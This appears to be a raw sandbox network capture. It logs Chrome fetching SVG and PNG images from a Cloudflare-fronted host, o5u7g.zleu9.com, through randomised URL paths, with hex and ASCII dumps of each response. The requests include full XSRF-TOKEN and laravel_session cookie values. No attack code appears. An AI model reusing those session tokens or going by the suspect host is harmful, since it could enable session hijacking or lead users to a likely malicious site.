2024-04-23 19:54:10 UTC	1231	IN	Data Raw: 20 34 38 2e 32 39 32 37 5a 4d 31 37 2e 34 38 36 38 20 34 38 2e 32 39 37 37 4c 31 37 2e 34 38 39 20 34 38 2e 32 39 39 4c 32 31 2e 37 31 32 39 20 34 31 2e 35 30 35 4c 32 31 2e 37 31 30 37 20 34 31 2e 35 30 33 37 4c 31 37 2e 34 38 36 38 20 34 38 2e 32 39 37 37 5a 4d 39 2e 31 31 35 33 39 20 34 30 2e 39 37 32 36 43 31 31 2e 32 35 34 31 20 34 33 2e 36 33 38 33 20 31 34 2e 30 30 31 31 20 34 36 2e 31 33 31 34 20 31 37 2e 34 38 37 34 20 34 38 2e 32 39 38 4c 32 31 2e 37 31 30 32 20 34 31 2e 35 30 33 33 43 31 38 2e 39 37 34 32 20 33 39 2e 38 30 33 20 31 36 2e 39 31 34 33 20 33 37 2e 39 30 39 33 20 31 35 2e 33 35 35 33 20 33 35 2e 39 36 36 33 4c 39 2e 31 31 35 33 39 20 34 30 2e 39 37 32 36 5a 4d 31 36 2e 35 37 32 38 20 31 36 2e 31 33 36 31 43 32 31 2e 34 39 38 34 20 Data Ascii: 48.2927ZM17.4868 48.2977L17.489 48.299L21.7129 41.505L21.7107 41.5037L17.4868 48.2977ZM9.11539 40.9726C11.2541 43.6383 14.0011 46.1314 17.4874 48.298L21.7102 41.5033C18.9742 39.803 16.9143 37.9093 15.3553 35.9663L9.11539 40.9726ZM16.5728 16.1361C21.4984
2024-04-23 19:54:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	49801	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:10 UTC	1108	OUT	GET /wxU2EPAQmKCucHi94Nct3opto7kIWmKk6EPt8vWRE90180 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDkiLCJtYWMiOiIyYmY3MzgxZTliNzRkM2U2MGQwNTJkODllYTVlMTQ2MzRkYmQ3YWQ2ODE5ZjY1NjQ0NjZlNDc4YTc3MTljZGQ5IiwidGFnIjoiIn0%3D
2024-04-23 19:54:10 UTC	649	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:10 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="wxU2EPAQmKCucHi94Nct3opto7kIWmKk6EPt8vWRE90180" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Jq9eWckDkmqzKy7EyNc33VmdD2aM59mG3bZbaQ5om%2BomAc9lzqX01EK4pD74S%2F7b83j4%2FA2hEA8DXyxtNkOZhHUAep7ieLCW315AtMvvUO3YkGiLnOtFTCrFgdCHMA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 879067671a82ad58-ATL
2024-04-23 19:54:10 UTC	720	IN	Data Raw: 62 35 39 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 33 30 2e 34 32 32 2c 32 39 2e 30 39 32 61 33 2e 34 39 33 2c 33 2e 34 39 33 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 32 36 31 2c 33 2e 33 38 31 2c 33 2e 33 38 31 2c 30 2c 30 2c 31 2c 31 2e 31 33 32 2e 37 34 39 71 2e 33 36 36 2e 33 36 36 2e 38 32 37 2e 37 37 35 74 2e 39 34 39 2e 38 35 Data Ascii: b59<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.85
2024-04-23 19:54:10 UTC	1369	IN	Data Raw: 32 2e 36 39 2c 31 33 2e 34 38 35 2c 31 33 2e 34 38 35 2c 30 2c 30 2c 31 2c 36 2c 31 38 2e 38 36 36 2c 39 2e 34 35 33 2c 39 2e 34 35 33 2c 30 2c 30 2c 31 2c 36 2e 32 33 35 2c 31 36 2e 36 61 36 2e 32 2c 36 2e 32 2c 30 2c 30 2c 31 2c 2e 37 2d 31 2e 37 30 37 2c 38 2e 38 34 38 2c 38 2e 38 34 38 2c 30 2c 30 2c 31 2c 31 2e 31 34 31 2d 31 2e 34 38 39 71 2e 36 37 39 2d 2e 37 32 33 2c 31 2e 35 38 35 2d 31 2e 36 31 31 61 33 2e 33 38 31 2c 33 2e 33 38 31 2c 30 2c 30 2c 31 2c 31 2e 31 33 32 2d 2e 37 34 39 2c 33 2e 34 39 33 2c 33 2e 34 39 33 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2d 2e 32 36 31 2c 33 2e 33 2c 33 2e 33 2c 30 2c 30 2c 31 2c 31 2e 36 38 31 2e 34 37 2c 38 2e 36 34 38 2c 38 2e 36 34 38 2c 30 2c 30 2c 31 2c 31 2e 35 34 32 2c 31 2e 31 35 2c 31 37 2e 37 32 35 2c Data Ascii: 2.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3.381,0,0,1,1.132-.749,3.493,3.493,0,0,1,1.324-.261,3.3,3.3,0,0,1,1.681.47,8.648,8.648,0,0,1,1.542,1.15,17.725,
2024-04-23 19:54:10 UTC	823	IN	Data Raw: 2c 33 2e 35 32 2c 30 2c 30 2c 31 2d 2e 37 35 38 2d 31 2e 31 32 34 2c 33 2e 33 37 35 2c 33 2e 33 37 35 2c 30 2c 30 2c 31 2d 2e 32 37 2d 31 2e 33 33 33 2c 33 2e 30 36 32 2c 33 2e 30 36 32 2c 30 2c 30 2c 31 2c 2e 32 32 36 2d 31 2e 32 31 31 2c 34 2e 33 31 33 2c 34 2e 33 31 33 2c 30 2c 30 2c 31 2c 2e 35 36 36 2d 2e 39 36 37 2c 36 2e 33 36 34 2c 36 2e 33 36 34 2c 30 2c 30 2c 31 2c 2e 37 33 32 2d 2e 37 39 33 71 2e 33 39 32 2d 2e 33 35 37 2e 37 33 32 2d 2e 36 38 38 61 34 2e 36 37 38 2c 34 2e 36 37 38 2c 30 2c 30 2c 30 2c 2e 35 36 36 2d 2e 36 35 33 2c 31 2e 31 37 35 2c 31 2e 31 37 35 2c 30 2c 30 2c 30 2c 2e 32 32 36 2d 2e 36 38 38 2c 31 2e 33 33 39 2c 31 2e 33 33 39 2c 30 2c 30 2c 30 2d 2e 32 37 39 2d 2e 36 34 35 41 31 31 2e 32 39 33 2c 31 31 2e 32 39 33 2c 30 2c Data Ascii: ,3.52,0,0,1-.758-1.124,3.375,3.375,0,0,1-.27-1.333,3.062,3.062,0,0,1,.226-1.211,4.313,4.313,0,0,1,.566-.967,6.364,6.364,0,0,1,.732-.793q.392-.357.732-.688a4.678,4.678,0,0,0,.566-.653,1.175,1.175,0,0,0,.226-.688,1.339,1.339,0,0,0-.279-.645A11.293,11.293,0,
2024-04-23 19:54:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	49802	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:10 UTC	1125	OUT	GET /rsPK886pjR4MWSVO0Uifxwl7OmK6HMvCpponbOALuvbCTlXpqF0r1n0CK0ef200 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDkiLCJtYWMiOiIyYmY3MzgxZTliNzRkM2U2MGQwNTJkODllYTVlMTQ2MzRkYmQ3YWQ2ODE5ZjY1NjQ0NjZlNDc4YTc3MTljZGQ5IiwidGFnIjoiIn0%3D
2024-04-23 19:54:10 UTC	668	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:10 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="rsPK886pjR4MWSVO0Uifxwl7OmK6HMvCpponbOALuvbCTlXpqF0r1n0CK0ef200" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XngqNIzgZbvrOra5R%2FEGAAOKxmowakyymsoV4uJoXtNgEw%2FPoOzKjOGJDj8QwXjDotemDP%2BjohPmCjYMW%2BYzc13AS1jpAZecunCtMS3J7e8024J7WyrEWF5ZDWUHTw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 879067676cc98bb6-ATL
2024-04-23 19:54:10 UTC	275	IN	Data Raw: 31 30 63 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 31 30 2c 33 32 48 33 38 56 31 38 2e 31 32 35 4c 32 34 2c 32 35 2e 31 30 39 2c 31 30 2c 31 38 2e 31 32 35 56 33 32 6d 2e 32 33 34 2d 31 36 4c 32 34 2c 32 32 2e 38 39 31 2c 33 37 2e 37 36 36 2c 31 36 48 31 30 2e 32 33 34 4d 34 30 2c 33 34 48 38 56 31 34 48 34 30 5a 22 20 66 69 6c 6c Data Ascii: 10c<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill
2024-04-23 19:54:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	49804	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:10 UTC	1135	OUT	GET /ghKeukEOXpk08d7sqAz7M1lBesvLMPeWkhZORrTevmnvovqEHrlQNU4MGnNhzR0tmqV912202 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDkiLCJtYWMiOiIyYmY3MzgxZTliNzRkM2U2MGQwNTJkODllYTVlMTQ2MzRkYmQ3YWQ2ODE5ZjY1NjQ0NjZlNDc4YTc3MTljZGQ5IiwidGFnIjoiIn0%3D
2024-04-23 19:54:12 UTC	667	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:12 GMT Content-Type: image/png Content-Length: 49602 Connection: close Content-Disposition: inline; filename="ghKeukEOXpk08d7sqAz7M1lBesvLMPeWkhZORrTevmnvovqEHrlQNU4MGnNhzR0tmqV912202" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9QhM5W6s16cka2mrH6L3M%2BeOlrXys2Uu%2B5mbJdZZD5aTFhHh1AN4CIntsKG4qIUgqhtFhcGKllJS%2F9ZY1aP5ws4vSiL8SCmsed2jntpxaeTdHCKMIRmdmPzEL6C0lw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 879067692b7b53f8-ATL
2024-04-23 19:54:12 UTC	702	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 08 70 00 00 01 bb 08 06 00 00 00 a1 7b f0 cd 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 3b b6 00 00 3b b6 01 16 33 14 2b 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 9b ee 3c 1a 00 00 20 00 49 44 41 54 78 9c ec dd 77 98 5d 55 bd ff f1 f7 4c 1a 49 28 21 04 42 ef bd 08 4a bb 0a 52 94 aa 02 16 50 44 e1 7a 2d a8 28 a0 82 a2 34 51 01 f1 2a 4d 51 2e 20 0a 28 fa 13 45 45 04 41 50 3a ea 05 04 0d 08 48 49 a4 05 09 10 20 09 e9 c9 ef 8f 75 72 33 09 93 72 ce 59 fb 7c f7 de e7 fd 7a 9e ef 33 93 32 c9 67 d6 de 7b f6 cc 59 df bd 56 0f ea 36 c3 81 75 80 b5 80 55 80 95 80 51 8d 5a 19 58 1e 18 01 0c 06 96 6d d4 a0 c6 c7 0d ee e7 df Data Ascii: PNGIHDRp{sBIT\|dpHYs;;3+tEXtSoftwarewww.inkscape.org< IDATxw]ULI(!BJRPDz-(4Q*MQ. (EEAP:HI ur3rY\|z32g{YV6uUQZXm
2024-04-23 19:54:12 UTC	1369	IN	Data Raw: 3d 70 2d 70 3d 6e b9 22 49 92 24 49 92 24 49 92 24 65 67 03 47 bc 81 c0 ee c0 81 c0 01 c0 e8 d8 38 b5 f5 08 69 02 fa 06 d2 8a 02 93 62 e3 a8 20 5b 00 7b 91 56 ae d9 15 18 16 1b a7 96 e6 90 56 e4 b8 12 f8 39 36 47 49 92 24 49 92 24 49 92 24 49 59 d8 c0 11 63 20 f0 16 52 d3 c6 bb 80 51 b1 71 ba ce 2c d2 f6 10 bf 05 ae 02 fe 19 1b 47 6d 18 0a ec 01 ec 0f bc 0d 58 3d 36 4e 57 ba 0b f8 05 a9 99 63 6c 70 16 49 92 24 49 92 24 49 92 24 49 5a 2a 9b 02 67 00 cf 02 73 ad d2 d4 63 c0 b9 a4 46 80 41 8b 3c 7a 2a 8b 51 c0 61 c0 15 c0 2b c4 9f 3f d6 fc ba 1b 38 1c 58 6e 91 47 4f 92 24 49 92 24 49 92 24 49 92 82 2c 4f 9a 6c be 81 b4 f5 40 f4 04 ab b5 f8 7a 1e b8 0c d8 8f b4 52 8a ca 61 24 e9 3a ba 1a 98 49 fc 79 62 2d be a6 92 1a 6c f6 c0 95 9e 24 49 92 24 49 92 24 49 92 Data Ascii: =p-p=n"I$I$I$egG8ib [{VV96GI$I$I$IYc RQq,GmX=6NWclpI$I$I$IZgscFA<zQa+?8XnGO$I$I$I,Ol@zRa$:Iyb-l$I$I$I
2024-04-23 19:54:12 UTC	1369	IN	Data Raw: 49 92 24 49 92 a0 fa 0d 1c 67 00 e7 50 9f 95 44 24 49 9d b3 1a f0 47 60 db e8 20 92 24 49 92 24 49 92 24 49 52 95 1b 1f 4e 03 8e 8f 0e 21 49 aa bc 97 80 3d 80 7b a2 83 48 92 24 49 92 24 49 92 24 a9 7b 55 75 05 8e af 60 f3 86 24 29 8f 11 c0 75 b8 9d 8a 24 49 92 24 49 92 24 49 92 02 55 71 05 8e 63 81 6f 46 87 90 24 d5 ce 04 60 77 e0 81 e8 20 92 24 49 92 24 49 92 24 49 ea 3e 55 6b e0 f8 2c 70 56 74 08 49 52 6d fd 9b d4 c4 f1 60 74 10 49 92 24 49 92 24 49 92 24 75 97 2a 35 70 1c 05 9c 1b 1d 42 92 54 7b 4f 03 bb 02 8f 45 07 91 24 49 92 24 49 92 24 49 52 f7 a8 4a 03 c7 11 c0 79 54 27 af 24 a9 da 9e 20 35 71 8c 0b ce 21 49 92 24 49 92 24 49 92 a4 2e 51 85 86 88 f7 00 57 00 bd d1 41 24 49 5d e5 31 e0 3f 80 e7 a3 83 48 92 24 49 92 24 49 92 24 a9 fe ca de c0 b1 23 Data Ascii: I$IgPD$IG` $I$I$IRN!I={H$I$I${Uu`$)u$I$I$IUqcoF$`w $I$I$I>Uk,pVtIRm`tI$I$I$u*5pBT{OE$I$I$IRJyT'$ 5q!I$I$I.QWA$I]1?H$I$I$#
2024-04-23 19:54:12 UTC	1369	IN	Data Raw: ba c3 a2 12 1b 01 5c 40 fc 39 d5 e9 7a 77 8e c1 93 24 49 92 24 49 92 24 49 92 8a f6 51 e2 27 d7 3a 59 37 00 6b 67 19 39 95 c5 bc 46 8e 7f 10 7f 7e d5 a9 66 00 97 01 9b 2c fd a1 50 45 bc 03 78 86 f8 73 ac 53 35 1e 18 99 65 e4 24 49 92 24 49 92 24 49 92 a4 82 ac 01 4c 24 7e 72 ad 13 35 13 38 06 57 dd a8 b3 5e e0 60 60 0c f1 e7 5b 95 6b 2a f0 5d d2 d6 4a aa af 55 81 9b 89 3f df 3a 55 97 66 19 35 49 92 24 49 92 24 49 92 24 a9 20 57 13 3f a9 d6 89 7a 16 d8 2d cf 90 a9 02 7a 81 f7 00 0f 12 7f ee 55 a9 66 00 df 03 56 6f 7e c8 55 51 03 81 33 89 3f f7 3a 55 fb e6 19 36 49 92 24 49 92 24 49 92 24 29 af 43 89 9f 4c eb 44 dd 85 2b 09 74 a3 cd 81 a7 89 3f ff aa 50 73 80 2b 80 8d 5a 1a 69 d5 c1 01 c0 4b c4 9f 8b 45 d7 d3 c0 88 4c 63 26 49 92 24 49 92 24 49 92 24 65 b1 Data Ascii: \@9zw$I$I$IQ':Y7kg9F~f,PExsS5e$I$I$IL$~r58W^``[k*]JU?:Uf5I$I$I$ W?z-zUfVo~UQ3?:U6I$I$I$)CLD+t?Ps+ZiKELc&I$I$I$e
2024-04-23 19:54:12 UTC	1369	IN	Data Raw: 1a 76 a2 cf bb a8 9a 00 ec d1 f6 28 4a e5 72 3e f1 d7 56 8e da 36 f7 c0 48 92 24 49 92 24 49 92 24 a9 3b 8c 02 a6 12 3f e1 d5 6e 7d 25 f7 c0 a8 b4 06 00 57 11 7f ce 45 d5 c3 c0 46 6d 8f a2 54 3e cb 03 4f 10 7f 8d b5 5b 97 64 1e 17 49 92 24 49 92 24 49 92 24 75 89 e3 89 9f ec 6a b7 1e 02 96 c9 3d 30 2a ad ef 10 7f ce 45 d5 f5 c0 88 f6 87 50 2a ad b7 11 7f 9d b5 5b d3 80 d1 b9 07 46 92 24 49 92 24 49 92 24 49 f5 36 80 7a 3c ed bc 6b ee 81 51 69 7d 96 f8 f3 2d aa be 4d ba 66 a5 ba fb 25 f1 d7 5b bb f5 a5 ec a3 22 49 92 24 49 92 24 49 92 a4 5a db 8b f8 49 ae 76 eb ca ec a3 a2 b2 7a 3b 30 8b f8 73 ae d3 35 0b 38 2a c3 f8 49 55 b1 3e 69 15 8b e8 6b af 9d fa 67 f6 51 91 24 49 92 24 49 92 24 49 52 ad fd 88 f8 49 ae 76 6a 06 b0 51 f6 51 51 19 6d 0b 4c 26 fe 9c eb Data Ascii: v(Jr>V6H$I$I$;?n}%WEFmT>O[dI$I$I$uj=0EP[F$I$I$I6z<kQi}-Mf%["I$I$IZIvz;0s58*IU>ikgQ$I$I$IRIvjQQQmL&
2024-04-23 19:54:12 UTC	1369	IN	Data Raw: 72 10 f1 f7 e2 5c 75 46 e6 b1 91 fa 33 84 6a 3f 20 d8 b7 1e 21 35 71 49 aa 89 0f 13 ff 85 a5 d5 fa 49 01 e3 a1 72 d8 99 d4 a0 13 7d 8e 75 a2 a6 e2 de 7e 52 ab d6 02 66 12 7f 1d b7 52 2f 02 83 f2 0f 89 54 2a 2b 02 47 50 ed d5 de ba a5 66 03 37 02 87 02 c3 fa 3b 98 92 d4 61 a7 12 ff b5 d1 aa 7e 3d 49 5a c9 e5 9d c0 b2 48 92 54 6f 57 11 7f ef cd 55 8f 66 1e 1b a9 3f fb 11 7f ae e7 ac 6d f2 0e 8f a4 48 bf 22 fe 8b 4a ab b5 53 01 e3 a1 78 ab 03 e3 89 3f bf 3a 51 53 80 3d f3 0c 9b d4 b5 ae 24 fe 5a 6e b5 76 2f 60 3c a4 32 d8 16 b8 18 78 95 f8 eb cc 6a be 5e 06 fe 07 d8 6a e1 03 2b 49 1d 74 0b f1 5f 0f ad 7a d5 34 e0 f7 c0 67 80 8d 90 24 a9 7e fe 4d fc fd 36 67 2d 97 77 78 a4 d7 38 8d f8 f3 3c 67 7d 28 eb e8 48 0a 33 14 98 4c fc 17 95 56 ea be 02 c6 43 f1 06 00 Data Ascii: r\uF3j? !5qIIr}u~RfR/T*+GPf7;a~=IZHToWUf?mH"JSx?:QS=$Znv/`<2xj^j+It_z4g$~M6g-wx8<g}(H3LVC
2024-04-23 19:54:12 UTC	1369	IN	Data Raw: c0 59 c0 0a c1 59 24 49 92 24 49 25 d0 5f 03 c7 f6 1d 4f 91 87 db a7 54 df 76 c0 17 a3 43 14 e8 29 60 3f 60 52 74 10 a9 cb bd 08 dc 19 1d a2 05 db 46 07 50 57 58 01 b8 80 f4 44 e8 6a c1 59 d4 dd 3e 0c dc 03 bc 21 3a 88 24 49 05 1b 04 7c 96 b4 65 dd 7b 82 b3 48 92 24 49 92 82 f5 d7 c0 f1 fa 8e a7 68 df 74 e0 0f d1 21 d4 96 e1 a4 7d cf 07 45 07 29 c8 44 d2 93 35 4f 45 07 91 04 54 b3 e9 6f 2d 60 95 e8 10 aa b5 9d 80 31 a4 6d be a4 32 d8 84 d4 70 77 54 74 10 49 92 3a 60 55 e0 17 c0 ff c3 ef fb 25 49 92 24 a9 6b f5 d7 c0 51 c5 a7 dc 6e 06 26 47 87 50 5b ce 24 ed 01 5b 47 d3 81 77 01 ff 88 0e 22 e9 ff 5c 13 1d a0 45 55 6c b2 54 f9 f5 90 56 c0 ba 99 d4 28 24 95 c9 10 e0 5c e0 c7 c0 b0 e0 2c 92 24 75 c2 fb 80 07 80 43 a2 83 48 92 24 49 92 3a af 2e 2b 70 b8 fa 46 Data Ascii: YY$I$I%_OTvC)`?`RtFPWXDjY>!:$I\|e{H$Iht!}E)D5OETo-`1m2pwTtI:`U%I$kQn&GP[$[Gw"\EUlTV($\,$uCH$I:.+pF
2024-04-23 19:54:12 UTC	1369	IN	Data Raw: 6e aa 76 4f d9 30 3a 80 4a e3 10 e0 ec e8 10 52 c9 f5 02 3f 02 b6 89 0e 22 49 52 87 0d 00 2e 23 6d 2b 26 49 92 24 49 dd 6e f5 02 3e 7e 74 3f bf 37 1c 38 72 09 ff d6 89 a4 2d 30 17 b6 ea bc 06 8e 35 9b 08 56 16 8f 44 07 d0 12 1d 4e 5a 81 a3 4e 2e 03 be 1f 1d 42 52 76 55 bb a7 8c 00 96 8d 0e a1 70 6f 25 2d 8d dd 13 1d 44 aa 80 e1 c0 55 f4 ff 03 95 24 49 75 36 af 89 e3 1d d1 41 24 49 92 24 a9 8b fc 17 b0 dc 22 fe ec 2d c0 56 8b fa c0 81 8d b7 ab e6 4e d4 01 55 7b 5a ba db ac 08 7c 2d 3a 44 66 8f 02 9f 8a 0e 21 a9 10 55 bc a7 ac 46 f5 1a 4f 94 cf 36 c0 2f e9 bf 43 57 52 ff d6 06 7e 4e fa 01 69 56 70 16 49 92 3a 69 20 f0 33 52 03 f0 9f 83 b3 48 92 24 49 52 94 cb 80 c7 fb f9 fd ad 81 8d fb fc fa 71 e0 9e 7e fe de 5d 4d fc 5f cb 93 9a 38 be dd cf 9f 1d b5 b8 0f Data Ascii: nvO0:JR?"IR.#m+&I$In>~t?78r-05VDNZN.BRvUpo%-DU$Iu6A$I$"-VNU{Z\|-:Df!UFO6/CWR~NiVpI:i 3RH$IRq~]M_8
